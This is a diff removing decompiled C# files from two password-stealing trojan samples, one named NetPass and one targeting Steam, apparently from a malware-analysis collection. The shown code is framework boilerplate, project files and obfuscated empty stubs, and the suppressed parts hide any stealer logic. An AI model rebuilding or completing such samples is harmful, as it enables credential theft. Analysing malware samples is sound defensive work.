// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,212 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.My.MyProject
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,73 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.My.MySettings
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.My.MySettingsProperty
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
@ -1,48 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.My.Resources.Resources
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123.My.Resources
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) sadfasdfjhbjhbajeb123.My.Resources.Resources.resourceMan, (object) null))
|
||||
sadfasdfjhbjhbajeb123.My.Resources.Resources.resourceMan = new ResourceManager("sadfasdfjhbjhbajeb123.Resources", typeof (sadfasdfjhbjhbajeb123.My.Resources.Resources).Assembly);
|
||||
return sadfasdfjhbjhbajeb123.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => sadfasdfjhbjhbajeb123.My.Resources.Resources.resourceCulture;
|
||||
set => sadfasdfjhbjhbajeb123.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] wpv => (byte[]) RuntimeHelpers.GetObjectValue(sadfasdfjhbjhbajeb123.My.Resources.Resources.ResourceManager.GetObject(nameof (wpv), sadfasdfjhbjhbajeb123.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,54 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{1F2374DA-73E0-433C-A9CC-FA65B3AA3B5C}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>asdfbn23ö4m23n4</AssemblyName>
|
||||
<ApplicationVersion>1.5.2.3</ApplicationVersion>
|
||||
<RootNamespace>sadfasdfjhbjhbajeb123</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Class1.cs" />
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "asdfbn23ö4m23n4", "Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.csproj", "{1F2374DA-73E0-433C-A9CC-FA65B3AA3B5C}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{1F2374DA-73E0-433C-A9CC-FA65B3AA3B5C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{1F2374DA-73E0-433C-A9CC-FA65B3AA3B5C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{1F2374DA-73E0-433C-A9CC-FA65B3AA3B5C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{1F2374DA-73E0-433C-A9CC-FA65B3AA3B5C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,14 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("0f97cee4-e59a-43bc-9859-bdefca98d939")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
@ -1,16 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Steam.Properties.
|
||||
_2
|
||||
// Assembly: Steam, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9B6F93BE-788A-4DBA-8139-39D49B3C18A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.Steam.f-d8cb2c031784d6ef0d0efef8a4bdff1f0ce0320652bad518ec984b9f3a9f53e0.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace Steam.Properties
|
||||
{
|
||||
internal class \u000A_2 : \u0024Unresolved\u0024Token\u003A2003FFF
|
||||
{
|
||||
public void \u002Ector() => ((Attribute) this).\u002Ector();
|
||||
}
|
||||
}
|
||||
@ -1,16 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Steam.
|
||||
_1
|
||||
// Assembly: Steam, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9B6F93BE-788A-4DBA-8139-39D49B3C18A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.Steam.f-d8cb2c031784d6ef0d0efef8a4bdff1f0ce0320652bad518ec984b9f3a9f53e0.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace Steam
|
||||
{
|
||||
internal class \u000A_1 : \u0024Unresolved\u0024Token\u003A2003FFF
|
||||
{
|
||||
public void \u002Ector() => ((Attribute) this).\u002Ector();
|
||||
}
|
||||
}
|
||||
@ -1,25 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: T
|
||||
// Assembly: Steam, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9B6F93BE-788A-4DBA-8139-39D49B3C18A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.Steam.f-d8cb2c031784d6ef0d0efef8a4bdff1f0ce0320652bad518ec984b9f3a9f53e0.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
internal static class T
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static bool U();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static bool V();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static void U(string _param0);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static bool V(string _param0);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static void W(string _param0);
|
||||
}
|
||||
@ -1,74 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: T.T.U
|
||||
// Assembly: Steam, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9B6F93BE-788A-4DBA-8139-39D49B3C18A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.Steam.f-d8cb2c031784d6ef0d0efef8a4bdff1f0ce0320652bad518ec984b9f3a9f53e0.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace T.T
|
||||
{
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal class U
|
||||
{
|
||||
static ResourceManager \u000A;
|
||||
static CultureInfo \u000A;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal U();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager V { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo V { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
|
||||
|
||||
internal static Bitmap V { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap W { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap X { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap Y { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap Z { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap a { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap b { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap c { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap d { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap e { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap f { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap g { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap h { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap i { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap j { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap k { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap l { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap m { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap n { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
|
||||
internal static Bitmap o { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@ -1,27 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: T.T.V
|
||||
// Assembly: Steam, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9B6F93BE-788A-4DBA-8139-39D49B3C18A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.Steam.f-d8cb2c031784d6ef0d0efef8a4bdff1f0ce0320652bad518ec984b9f3a9f53e0.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Configuration;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace T.T
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
internal sealed class V : ApplicationSettingsBase
|
||||
{
|
||||
static V \u000A;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public V();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static V();
|
||||
|
||||
public static V U { [MethodImpl(MethodImplOptions.NoInlining)] get; }
|
||||
}
|
||||
}
|
||||
@ -1,18 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: T.U
|
||||
// Assembly: Steam, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9B6F93BE-788A-4DBA-8139-39D49B3C18A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.Steam.f-d8cb2c031784d6ef0d0efef8a4bdff1f0ce0320652bad518ec984b9f3a9f53e0.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace T
|
||||
{
|
||||
internal static class U
|
||||
{
|
||||
[STAThread]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static void V();
|
||||
}
|
||||
}
|
||||
@ -1,77 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: T.V
|
||||
// Assembly: Steam, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9B6F93BE-788A-4DBA-8139-39D49B3C18A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.Steam.f-d8cb2c031784d6ef0d0efef8a4bdff1f0ce0320652bad518ec984b9f3a9f53e0.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace T
|
||||
{
|
||||
public class V : Form
|
||||
{
|
||||
int \u000A;
|
||||
int \u000A;
|
||||
Point \u000A;
|
||||
IContainer \u000A;
|
||||
PictureBox \u000A;
|
||||
PictureBox \u000A;
|
||||
PictureBox \u000A;
|
||||
PictureBox \u000A;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
